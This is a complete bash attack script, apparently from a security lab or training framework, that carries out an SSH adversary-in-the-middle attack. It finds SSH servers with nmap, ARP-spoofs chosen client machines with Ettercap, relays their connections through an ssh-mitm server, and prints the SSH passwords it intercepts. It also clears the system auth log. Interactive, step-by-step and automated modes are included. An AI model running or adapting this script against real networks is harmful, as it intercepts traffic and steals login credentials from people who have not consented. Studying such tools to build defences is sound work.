#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to stop Ettercap and ssh-mitm before exiting the script
cleanup(){
    echo ""
    kill -9 $pid_display

    echo "[+] Stopping the Ettercap process."
    kill -15 $pid_ettercap 
    sleep 1

    echo "[+] Stopping the ssh-mitm server."
    sudo ./ssh-mitm/stop.sh --force > /dev/null
    exit 1
}

# Function to scan the network for machines with SSH port open
scan_for_ssh_servers(){
    if [ $is_automated_mode -eq 0 ]; then
        echo ""
        echo "[+] Please specify the network range to scan in CIDR notation (e.g., 192.168.1.0/24)"
        read -p "[+] Enter the network range to scan: " network_range
        echo ""
    fi

    echo "[+] Starting Nmap scan for open SSH port ($SSH_PORT) : nmap -sS -p $SSH_PORT $network_range"
    scan_result=$(nmap -sS -p $SSH_PORT $network_range)

    open_ssh_servers_count=$(echo "$scan_result" | grep -o "$SSH_PORT/tcp open" | wc -l)

    declare -g ssh_servers_ip_addresses

    while IFS= read -r line; do
        if [[ $line =~ ^Nmap\ scan\ report\ for\ .+\((.+)\) ]]; then
            ip_address="${BASH_REMATCH[1]}"
        elif [[ $line =~ ^[0-9/a-z]+\ +open\ +ssh ]]; then
            ssh_servers_ip_addresses+=("$ip_address")
        fi
    done <<< "$scan_result"

    if [ "$open_ssh_servers_count" -eq 0 ]; then
        echo "[!] No machines found with port $SSH_PORT open."
        echo "[!] Please verify the network range and try again."
        exit 1
    fi
    echo "[+] Found $open_ssh_servers_count machines with port $SSH_PORT open."
    echo ""
}

# Function to select a target SSH server from the list of machines with open SSH
select_target_ssh_server(){
    echo "[+] Here is the list of IP addresses of machines with port $SSH_PORT open:"
    for ip_address in "${ssh_servers_ip_addresses[@]}"; do
        echo "    - $ip_address"
    done
    echo ""
    
    valid_selection=0
    while [ "$valid_selection" -eq 0 ]; do
        read -p "[+] Please enter the IP address of the SSH server you want to target: " target_ssh_server
        for ip_address in "${ssh_servers_ip_addresses[@]}"; do
            if [ "$ip_address" == "$target_ssh_server" ]; then
                valid_selection=1
                break
            fi
        done
        if [ "$valid_selection" -ne 1 ]; then
            echo "[!] Invalid IP Address. Please enter a valid IP from the list above."
            echo ""
        fi
    done
}

# Function to initiate the AiTM (Adversary-in-the-Middle) attack
start_aitm_attack(){
    ip=$(echo $target_ssh_clients | grep -o '^[^-,]*')
    interface=$(ip route get $ip | grep -oP 'dev \K\w+')

    ssh-keygen -f /home/ssh-mitm/.ssh/known_hosts -R "$target_ssh_server" > /dev/null 2>&1
    > /var/log/auth.log

    echo "[+] Starting the ssh-mitm server."
    sudo ./ssh-mitm/start.sh > /dev/null
    exit_code=$?
    if [ $exit_code -ne 0 ]; then
        echo "[!] Failed to start ssh-mitm (exit code $exit_code)."
        exit 1
    fi

    echo "[+] Starting ARP spoofing with Ettercap."
    (sudo ettercap -q -i $interface -T -M arp:remote /$target_ssh_server// /$target_ssh_clients// ) > /dev/null 2>&1 &
    pid_ettercap=$!

    sleep 2
	if ! ps -p $pid_ettercap > /dev/null; then
        sudo ./ssh-mitm/stop.sh --force > /dev/null
    	echo "[!] Failed to start Ettercap."
		exit 1
	fi

    echo ""
    echo_warning "ssh-mitm and Ettercap are now running in the background. If this script is stopped unexpectedly (e.g., using Ctrl + C),\nssh-mitm and Ettercap will continue running. To stop them, you will need to manually terminate these processes."
}

# Function to handle the display of intercepted credentials
display_intercepted_credentials(){
    echo "[+] The attack is now active. The next time one of the targeted clients attempts to connect to the SSH server, we will intercept the connection."
    echo "[+] Press ENTER to stop the attack..."

    echo ""
    echo "[+] The intercepted credentials will be displayed below: "
    tail -f /var/log/auth.log | grep --line-buffered 'INTERCEPTED PASSWORD' | sed 's/.*INTERCEPTED PASSWORD: //' &
    pid_display=$(pgrep -f "tail -f /var/log/auth.log"| tail -n 1)
    trap cleanup SIGINT

    read -n 1 wait
    kill -9 $pid_display

    echo "[+] Stopping the Ettercap process."
    kill -15 $pid_ettercap 
    sleep 1

    echo "[+] Stopping the ssh-mitm server."
    sudo ./ssh-mitm/stop.sh --force > /dev/null
}

# Function to execute the entire attack process
run_attack(){
    start_aitm_attack

    echo ""
    display_intercepted_credentials
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the SSH Man-In-The-Middle attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Perform Network Reconnaissance   ========"
	echo ""
    echo "[+] Before attempting the SSH Adversary-In-The-Middle (AiTM) attack, we need to perform a reconnaissance phase."
    echo "[+] In this phase, we will identify all machines running SSH servers within a specified network range."
    echo "[+] To do this, we will use Nmap to scan the network range and detect machines with port $SSH_PORT open."

    scan_for_ssh_servers

    echo "[+] Now that we have identified machines running SSH servers, you need to select the target server."
    echo "[+] This server will be impersonated during the AiTM attack, allowing us to intercept connections to it."

    select_target_ssh_server

	echo ""
	echo "======== STEP 2 : Select Target SSH Clients  ========"
	echo ""
    echo "[+] Now, you must specify the clients that we will deceived into thinking the attacker machine is the SSH server."
    echo "[+] You can target individual machines or a range of machines :"
    echo "    - To target a specific machine, enter its IP address (e.g., 192.168.1.100)"
    echo "    - To target a range of machines, use the hyphen notation (e.g., 192.168.1.0-254)"
    echo ""

    read -p "[+] Please enter the SSH clients to target: " target_ssh_clients

	echo ""
	echo "======== STEP 3 : Start AiTM Attack  ========"
	echo ""
    echo "[+] We are now ready to initiate the Adversary-In-The-Middle (AiTM) attack."
    echo "[+] First, we will start an SSH server using the 'ssh-mitm' tool to intercept and forward communication between the two parties."
    echo "[+] Next, we will perform ARP spoofing using Ettercap to impersonate the selected SSH server to the targeted SSH clients."
    echo "[+] Press ENTER to start the attack..."
    read -n 1 wait

    start_aitm_attack

	echo ""
	echo "======== STEP 4 : Display Intercepted SSH Credentials  ========"
	echo ""

    display_intercepted_credentials

	echo ""
	echo "[+] If you want to replay this attack with the non interactive mode, the command is :"
	echo "sudo ./exploit.sh -all ${network_range} ${target_ssh_server} ${target_ssh_clients} "
}

# Function to automate the attack process while guiding the user through necessary inputs
attack_interactive(){
    scan_for_ssh_servers

    select_target_ssh_server

    echo ""
    read -p "[+] Please enter the IP address of the SSH clients to target: " target_ssh_clients

    echo ""
    run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
            scan_for_ssh_servers
            run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            scan_for_ssh_servers
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

cat << EndOfMessage
============================= Adversary in The Middle SSH =============================


                      Welcome to the Adversary In The Middle SSH


       ______     ______     __  __        ______     __     ______   __    __    
      /\  ___\   /\  ___\   /\ \_\ \      /\  __ \   /\ \   /\__  _\ /\ "-./  \   
      \ \___  \  \ \___  \  \ \  __ \     \ \  __ \  \ \ \  \/_/\ \/ \ \ \-./\ \  
       \/\_____\  \/\_____\  \ \_\ \_\     \ \_\ \_\  \ \_\    \ \_\  \ \_\ \ \_\ 
        \/_____/   \/_____/   \/_/\/_/      \/_/\/_/   \/_/     \/_/   \/_/  \/_/ 
                                                                              


EndOfMessage
echo "[+] You are about to initiate a SSH Adversary-In-The-Middle attack!"
echo "[+] The goal of this attack is to obtain valid SSH credentials by performing a Adversary-in-the-Middle (AiTM) attack between a client and an SSH server."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
SSH_PORT=22

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
is_automated_mode=0

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 4 arguments, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
    attack_phase=$1
    network_range=$2
    target_ssh_server=$3
    target_ssh_clients=$4
    
    is_automated_mode=1
    attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
            ;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0

